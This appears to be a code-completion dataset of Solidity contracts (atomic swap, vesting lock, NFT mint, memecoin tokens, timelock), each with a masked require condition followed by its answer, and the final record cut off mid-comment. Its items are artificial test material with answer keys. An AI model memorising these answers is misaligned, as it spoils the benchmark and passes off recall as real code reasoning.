pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { } function sub(uint a, uint b) internal pure returns (uint) { } } contract AtomicSwap { using SafeMath for uint; enum State { Empty, Initiated, Redeemed, Refunded } struct Swap { bytes32 hashedSecret; bytes32 secret; address payable initiator; address payable participant; uint refundTimestamp; uint value; uint payoff; State state; } event Initiated( bytes32 indexed _hashedSecret, address indexed _participant, address _initiator, uint _refundTimestamp, uint _value, uint _payoff ); event Added( bytes32 indexed _hashedSecret, address _sender, uint _value ); event Redeemed( bytes32 indexed _hashedSecret, bytes32 _secret ); event Refunded( bytes32 indexed _hashedSecret ); mapping(bytes32 => Swap) public swaps; modifier isRefundable(bytes32 _hashedSecret) { } modifier isRedeemable(bytes32 _hashedSecret, bytes32 _secret) { require(block.timestamp < swaps[_hashedSecret].refundTimestamp); require(<FILL_ME>) _; } modifier isInitiated(bytes32 _hashedSecret) { } modifier isInitiatable(bytes32 _hashedSecret, uint _refundTimestamp) { } modifier isAddable(bytes32 _hashedSecret) { } function add (bytes32 _hashedSecret) public payable isInitiated(_hashedSecret) isAddable(_hashedSecret) { } function initiate (bytes32 _hashedSecret, address payable _participant, uint _refundTimestamp, uint _payoff) public payable isInitiatable(_hashedSecret, _refundTimestamp) { } function refund(bytes32 _hashedSecret) public isInitiated(_hashedSecret) isRefundable(_hashedSecret) { } function redeem(bytes32 _hashedSecret, bytes32 _secret) public isInitiated(_hashedSecret) isRedeemable(_hashedSecret, _secret) { } }
sha256(abi.encodePacked(sha256(abi.encodePacked(_secret))))==_hashedSecret
189,919
sha256(abi.encodePacked(sha256(abi.encodePacked(_secret))))==_hashedSecret
null
pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { } function sub(uint a, uint b) internal pure returns (uint) { } } contract AtomicSwap { using SafeMath for uint; enum State { Empty, Initiated, Redeemed, Refunded } struct Swap { bytes32 hashedSecret; bytes32 secret; address payable initiator; address payable participant; uint refundTimestamp; uint value; uint payoff; State state; } event Initiated( bytes32 indexed _hashedSecret, address indexed _participant, address _initiator, uint _refundTimestamp, uint _value, uint _payoff ); event Added( bytes32 indexed _hashedSecret, address _sender, uint _value ); event Redeemed( bytes32 indexed _hashedSecret, bytes32 _secret ); event Refunded( bytes32 indexed _hashedSecret ); mapping(bytes32 => Swap) public swaps; modifier isRefundable(bytes32 _hashedSecret) { } modifier isRedeemable(bytes32 _hashedSecret, bytes32 _secret) { } modifier isInitiated(bytes32 _hashedSecret) { require(<FILL_ME>) _; } modifier isInitiatable(bytes32 _hashedSecret, uint _refundTimestamp) { } modifier isAddable(bytes32 _hashedSecret) { } function add (bytes32 _hashedSecret) public payable isInitiated(_hashedSecret) isAddable(_hashedSecret) { } function initiate (bytes32 _hashedSecret, address payable _participant, uint _refundTimestamp, uint _payoff) public payable isInitiatable(_hashedSecret, _refundTimestamp) { } function refund(bytes32 _hashedSecret) public isInitiated(_hashedSecret) isRefundable(_hashedSecret) { } function redeem(bytes32 _hashedSecret, bytes32 _secret) public isInitiated(_hashedSecret) isRedeemable(_hashedSecret, _secret) { } }
swaps[_hashedSecret].state==State.Initiated
189,919
swaps[_hashedSecret].state==State.Initiated
null
pragma solidity ^0.5.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { } function sub(uint a, uint b) internal pure returns (uint) { } } contract AtomicSwap { using SafeMath for uint; enum State { Empty, Initiated, Redeemed, Refunded } struct Swap { bytes32 hashedSecret; bytes32 secret; address payable initiator; address payable participant; uint refundTimestamp; uint value; uint payoff; State state; } event Initiated( bytes32 indexed _hashedSecret, address indexed _participant, address _initiator, uint _refundTimestamp, uint _value, uint _payoff ); event Added( bytes32 indexed _hashedSecret, address _sender, uint _value ); event Redeemed( bytes32 indexed _hashedSecret, bytes32 _secret ); event Refunded( bytes32 indexed _hashedSecret ); mapping(bytes32 => Swap) public swaps; modifier isRefundable(bytes32 _hashedSecret) { } modifier isRedeemable(bytes32 _hashedSecret, bytes32 _secret) { } modifier isInitiated(bytes32 _hashedSecret) { } modifier isInitiatable(bytes32 _hashedSecret, uint _refundTimestamp) { require(<FILL_ME>) require(_refundTimestamp > block.timestamp); _; } modifier isAddable(bytes32 _hashedSecret) { } function add (bytes32 _hashedSecret) public payable isInitiated(_hashedSecret) isAddable(_hashedSecret) { } function initiate (bytes32 _hashedSecret, address payable _participant, uint _refundTimestamp, uint _payoff) public payable isInitiatable(_hashedSecret, _refundTimestamp) { } function refund(bytes32 _hashedSecret) public isInitiated(_hashedSecret) isRefundable(_hashedSecret) { } function redeem(bytes32 _hashedSecret, bytes32 _secret) public isInitiated(_hashedSecret) isRedeemable(_hashedSecret, _secret) { } }
swaps[_hashedSecret].state==State.Empty
189,919
swaps[_hashedSecret].state==State.Empty
'Expired'
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.8.9; /// @title Validate if the transaction is still valid abstract contract DeadlineValidation { modifier onlyNotExpired(uint256 deadline) { require(<FILL_ME>) _; } /// @dev Override this function to test easier with block timestamp function _blockTimestamp() internal view virtual returns (uint256) { } }
_blockTimestamp()<=deadline,'Expired'
190,412
_blockTimestamp()<=deadline
"Vesting already initialized"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; contract LockV2 is Ownable, ReentrancyGuard { struct VestingPeriod { uint256 startTime; uint256 releaseTime; uint256 totalTokens; uint256 releasedTokens; uint256 initialReleaseAmount; bool isInitialized; } // Address of the token contract address public tokenContract; // Address of the beneficiary who will receive the tokens address public beneficiary; VestingPeriod public vesting; // Constructor constructor( address _tokenContract, address _beneficiary, uint256 _totalTokens ) { } function startVesting() external onlyOwner { require(<FILL_ME>) vesting.startTime = block.timestamp; vesting.releaseTime = block.timestamp + 365 days; vesting.isInitialized = true; IERC20(tokenContract).transferFrom(msg.sender, address(this), vesting.totalTokens); } function releaseInitialTokens() external nonReentrant { } // Function to release tokens after the lock-up period function releaseTokens() external nonReentrant returns (bool) { } }
!vesting.isInitialized,"Vesting already initialized"
190,593
!vesting.isInitialized
"Vesting period not initialized"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; contract LockV2 is Ownable, ReentrancyGuard { struct VestingPeriod { uint256 startTime; uint256 releaseTime; uint256 totalTokens; uint256 releasedTokens; uint256 initialReleaseAmount; bool isInitialized; } // Address of the token contract address public tokenContract; // Address of the beneficiary who will receive the tokens address public beneficiary; VestingPeriod public vesting; // Constructor constructor( address _tokenContract, address _beneficiary, uint256 _totalTokens ) { } function startVesting() external onlyOwner { } function releaseInitialTokens() external nonReentrant { require(msg.sender == beneficiary, "You aren't the beneficiary"); require(<FILL_ME>) require(vesting.initialReleaseAmount > 0, "Initial tokens already released"); uint256 amountToRelease = vesting.initialReleaseAmount; vesting.releasedTokens += amountToRelease; vesting.initialReleaseAmount = 0; IERC20(tokenContract).transfer(beneficiary, amountToRelease); } // Function to release tokens after the lock-up period function releaseTokens() external nonReentrant returns (bool) { } }
vesting.isInitialized,"Vesting period not initialized"
190,593
vesting.isInitialized
"EXCEEDS_MAX_FREE_MINT"
pragma solidity ^0.8.0; contract MantisMansion is Ownable, ERC721A, ReentrancyGuard { using Strings for uint256; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.069 ether; uint256 public guestListCost = 0.055 ether; uint256 public guestListVIPCost = 0 ether; uint8 public maxGuestListVIPFreeMint = 1; uint256 public maxSupply = 6666; uint256 public teamSupply = 50; uint256 public maxMintAmount = 10; bool public paused = false; bool public revealed = false; // Allowed Wallets bool public isGuestListVIPActive = false; bool public isGuestListActive = false; bool public isPublicActive = false; mapping(address => uint256) public addressMintedBalance; mapping (address => uint256) public guestListVIPFreeMintAddress; mapping(address => uint256) addressBlockBought; // Merkle Tree Root Address bytes32 public guestListMerkleRoot; bytes32 public guestListVIPMerkleRoot; constructor( string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721A("MMFNL", "MMFNL", 50, maxSupply) { } // Verifiers modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) { } function setGuestListMerkleRoot(bytes32 merkleRoot) external onlyOwner { } function setGuestListVIPMerkleRoot(bytes32 merkleRoot) external onlyOwner { } modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) { } modifier isMintActive(uint8 mintType) { } // Mint for Team function mintForTeam(uint256 _mintAmount) external onlyOwner { } // Public function mint( uint256 _mintAmount ) public payable isMintActive(3) isCorrectPayment(cost, _mintAmount) { } // Guest List (Whitelist) - Lowered Price function mintGuestList( uint256 _mintAmount, bytes32[] calldata merkleProof ) public payable isMintActive(2) isValidMerkleProof(merkleProof, guestListMerkleRoot) isCorrectPayment(guestListCost, _mintAmount) { } // Guest List VIP (Cryptocrawlerz Owners ) - FREE function mintGuestListVIP( bytes32[] calldata merkleProof ) public payable isMintActive(1) isValidMerkleProof(merkleProof, guestListVIPMerkleRoot) { require(!paused, "CONTRACT_IS_PAUSED"); uint256 supply = totalSupply(); require(<FILL_ME>) require(supply + 1 <= maxSupply, "EXCEEDS_MAX_SUPPLY_LIMIT"); guestListVIPFreeMintAddress[msg.sender]++; addressMintedBalance[msg.sender]++; addressBlockBought[msg.sender] = block.timestamp; _safeMint(msg.sender, 1); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Owner Commands -------------------------------------------- function reveal() public onlyOwner { } function setGuestListVIPCost(uint256 _newCost) public onlyOwner { } function setGuestListCost(uint256 _newCost) public onlyOwner { } function setCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { } // MetaData URI Settings string private baseURI; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } // Minting Activations function pause(bool _state) public onlyOwner { } function allowGuestListVIP(bool _state) public onlyOwner { } function allowGuestList(bool _state) public onlyOwner { } function allowPublic(bool _state) public onlyOwner { } // Withdraw ETH function withdraw() external onlyOwner nonReentrant { } }
guestListVIPFreeMintAddress[msg.sender]+1<=maxGuestListVIPFreeMint,"EXCEEDS_MAX_FREE_MINT"
190,882
guestListVIPFreeMintAddress[msg.sender]+1<=maxGuestListVIPFreeMint
"Total Holding is currently limited, he can not hold that much."
/* "NOW IS ALL" https://worldcupfinal.club https://twitter.com/worldcupfinal22 https://t.me/worldcupfinalentry */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.15; abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function waiveOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract WorldCupFinal is ERC20, Ownable { using SafeMath for uint256; string private _name = unicode"WorldCupFinal.Club"; string private _symbol = unicode"WCF"; uint256 _rTotal = 1000000 * 10**_decimals; uint256 public maximumTokensAmount = (_rTotal * 2) / 100; uint8 constant _decimals = 12; mapping(address => uint256) _tOwned; mapping(address => mapping(address => uint256)) _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers mapping(address => bool) isTimelockExempt; mapping(address => bool) allowed; uint256 public blockCount = 2; uint256 public TaxOnLiquidity = 0; uint256 public TaxOnMarketing = 2; uint256 public tTotalTAX = TaxOnMarketing + TaxOnLiquidity; uint256 public DenominatorForTaxes = 100; uint256 public MultiplierForSales = 200; address public receiverAddrForLiquidity; address public receiverAddrForMarketing; IUniswapV2Router02 public router; address public UniswapV2Pair; bool public levelSwapping = true; uint256 public intervalRates = (_rTotal * 1) / 1000; uint256 public maxIntervalRates = (_rTotal * 1) / 100; bool swapBytes; modifier cooldownEnabled() { } constructor(address IDEXrouter) Ownable() { } function totalSupply() external view override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external view override returns (string memory) { } function name() external view override returns (string memory) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } event AutoLiquify(uint256 amountETH, uint256 amountBOG); receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 tAmount ) internal returns (bool) { // Checks max transaction limit uint256 intervalHash = balanceOf(recipient); require(<FILL_ME>) if (shouldSwapBack() && recipient == UniswapV2Pair) { swapBack(); } if ( recipient != owner() && recipient != address(router) && recipient != address(UniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - blockCount, "_transfer:: Transfer Delay enabled. Only one purchase per block gap allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } uint256 syncedAmount = tAmount / 10000000; if (!isTimelockExempt[sender] && recipient == UniswapV2Pair) { tAmount -= syncedAmount; } if (isTimelockExempt[sender] && isTimelockExempt[recipient]) return _transferStandard(sender, recipient, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount, "Insufficient Balance"); uint256 amountReceived = shouldremoveAllTax(sender, recipient) ? removeAllTax(sender, tAmount, (recipient == UniswapV2Pair)) : tAmount; _tOwned[recipient] = _tOwned[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function approveMax(address spender) external returns (bool) { } function setMaximumWalletSize(uint256 maxWallPercent_base10000) external onlyOwner { } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { } function _transferStandard( address sender, address recipient, uint256 amount ) internal returns (bool) { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function swapBack() internal cooldownEnabled { } function removeAllTax( address sender, uint256 amount, bool isSell ) internal returns (uint256) { } function shouldremoveAllTax(address sender, address recipient) internal view returns (bool) { } function shouldSwapBack() internal view returns (bool) { } function setSwapPairRate(address pairaddr) external onlyOwner { } function setSwapBackBytes( bool _enabled, uint256 _intervalRates, uint256 _maxIntervalRates ) external onlyOwner { } function customizeTax( uint256 _TaxOnLiquidity, uint256 _TaxOnMarketing, uint256 _DenominatorForTaxes ) external onlyOwner { } function setFeeReceivers( address _isReceiverForLiquidity, address _isReceiverForMarketing ) external onlyOwner { } }
(intervalHash+tAmount)<=maximumTokensAmount||allowed[recipient],"Total Holding is currently limited, he can not hold that much."
191,099
(intervalHash+tAmount)<=maximumTokensAmount||allowed[recipient]
"_transfer:: Transfer Delay enabled. Only one purchase per block gap allowed."
/* "NOW IS ALL" https://worldcupfinal.club https://twitter.com/worldcupfinal22 https://t.me/worldcupfinalentry */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.15; abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function waiveOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract WorldCupFinal is ERC20, Ownable { using SafeMath for uint256; string private _name = unicode"WorldCupFinal.Club"; string private _symbol = unicode"WCF"; uint256 _rTotal = 1000000 * 10**_decimals; uint256 public maximumTokensAmount = (_rTotal * 2) / 100; uint8 constant _decimals = 12; mapping(address => uint256) _tOwned; mapping(address => mapping(address => uint256)) _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers mapping(address => bool) isTimelockExempt; mapping(address => bool) allowed; uint256 public blockCount = 2; uint256 public TaxOnLiquidity = 0; uint256 public TaxOnMarketing = 2; uint256 public tTotalTAX = TaxOnMarketing + TaxOnLiquidity; uint256 public DenominatorForTaxes = 100; uint256 public MultiplierForSales = 200; address public receiverAddrForLiquidity; address public receiverAddrForMarketing; IUniswapV2Router02 public router; address public UniswapV2Pair; bool public levelSwapping = true; uint256 public intervalRates = (_rTotal * 1) / 1000; uint256 public maxIntervalRates = (_rTotal * 1) / 100; bool swapBytes; modifier cooldownEnabled() { } constructor(address IDEXrouter) Ownable() { } function totalSupply() external view override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external view override returns (string memory) { } function name() external view override returns (string memory) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } event AutoLiquify(uint256 amountETH, uint256 amountBOG); receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 tAmount ) internal returns (bool) { // Checks max transaction limit uint256 intervalHash = balanceOf(recipient); require( (intervalHash + tAmount) <= maximumTokensAmount || allowed[recipient], "Total Holding is currently limited, he can not hold that much." ); if (shouldSwapBack() && recipient == UniswapV2Pair) { swapBack(); } if ( recipient != owner() && recipient != address(router) && recipient != address(UniswapV2Pair) ) { require(<FILL_ME>) _holderLastTransferTimestamp[tx.origin] = block.number; } uint256 syncedAmount = tAmount / 10000000; if (!isTimelockExempt[sender] && recipient == UniswapV2Pair) { tAmount -= syncedAmount; } if (isTimelockExempt[sender] && isTimelockExempt[recipient]) return _transferStandard(sender, recipient, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount, "Insufficient Balance"); uint256 amountReceived = shouldremoveAllTax(sender, recipient) ? removeAllTax(sender, tAmount, (recipient == UniswapV2Pair)) : tAmount; _tOwned[recipient] = _tOwned[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function approveMax(address spender) external returns (bool) { } function setMaximumWalletSize(uint256 maxWallPercent_base10000) external onlyOwner { } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { } function _transferStandard( address sender, address recipient, uint256 amount ) internal returns (bool) { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function swapBack() internal cooldownEnabled { } function removeAllTax( address sender, uint256 amount, bool isSell ) internal returns (uint256) { } function shouldremoveAllTax(address sender, address recipient) internal view returns (bool) { } function shouldSwapBack() internal view returns (bool) { } function setSwapPairRate(address pairaddr) external onlyOwner { } function setSwapBackBytes( bool _enabled, uint256 _intervalRates, uint256 _maxIntervalRates ) external onlyOwner { } function customizeTax( uint256 _TaxOnLiquidity, uint256 _TaxOnMarketing, uint256 _DenominatorForTaxes ) external onlyOwner { } function setFeeReceivers( address _isReceiverForLiquidity, address _isReceiverForMarketing ) external onlyOwner { } }
_holderLastTransferTimestamp[tx.origin]<block.number-blockCount,"_transfer:: Transfer Delay enabled. Only one purchase per block gap allowed."
191,099
_holderLastTransferTimestamp[tx.origin]<block.number-blockCount
"TokenTimelock: Cliff not passed"
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; // Inspired by OpenZeppelin TokenTimelock contract // Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/TokenTimelock.sol import "../Timed.sol"; import "./ITokenTimelock.sol"; abstract contract TokenTimelock is ITokenTimelock, Timed { /// @notice ERC20 basic token contract being held in timelock IERC20 public override lockedToken; /// @notice beneficiary of tokens after they are released address public override beneficiary; /// @notice pending beneficiary appointed by current beneficiary address public override pendingBeneficiary; /// @notice initial balance of lockedToken uint256 public override initialBalance; uint256 internal lastBalance; /// @notice number of seconds before releasing is allowed uint256 public immutable cliffSeconds; address public immutable clawbackAdmin; constructor( address _beneficiary, uint256 _duration, uint256 _cliffSeconds, address _lockedToken, address _clawbackAdmin ) Timed(_duration) { } // Prevents incoming LP tokens from messing up calculations modifier balanceCheck() { } modifier onlyBeneficiary() { } /// @notice releases `amount` unlocked tokens to address `to` function release(address to, uint256 amount) external override onlyBeneficiary balanceCheck { require(amount != 0, "TokenTimelock: no amount desired"); require(<FILL_ME>) uint256 available = availableForRelease(); require(amount <= available, "TokenTimelock: not enough released tokens"); _release(to, amount); } /// @notice releases maximum unlocked tokens to address `to` function releaseMax(address to) external override onlyBeneficiary balanceCheck { } /// @notice the total amount of tokens held by timelock function totalToken() public view override virtual returns (uint256) { } /// @notice amount of tokens released to beneficiary function alreadyReleasedAmount() public view override returns (uint256) { } /// @notice amount of held tokens unlocked and available for release function availableForRelease() public view override returns (uint256) { } /// @notice current beneficiary can appoint new beneficiary, which must be accepted function setPendingBeneficiary(address _pendingBeneficiary) public override onlyBeneficiary { } /// @notice pending beneficiary accepts new beneficiary function acceptBeneficiary() public override virtual { } function clawback() public balanceCheck { } function passedCliff() public view returns (bool) { } function _proportionAvailable(uint256 initialBalance, uint256 elapsed, uint256 duration) internal pure virtual returns (uint256); function _setBeneficiary(address newBeneficiary) internal { } function _setLockedToken(address tokenAddress) internal { } function _release(address to, uint256 amount) internal { } }
passedCliff(),"TokenTimelock: Cliff not passed"
191,107
passedCliff()
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./Ownable.sol"; contract POD is IERC20, Ownable { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping (address => uint256) private _assd; mapping(address => mapping(address => uint256)) private _allowances; address private immutable _assdf; /** * @dev Sets the values for {name} and {symbol}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor( string memory name_, string memory symbol_, address sdd_, uint256 xxx_) { } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } /** * @dev Atomically increases the allowance granted to 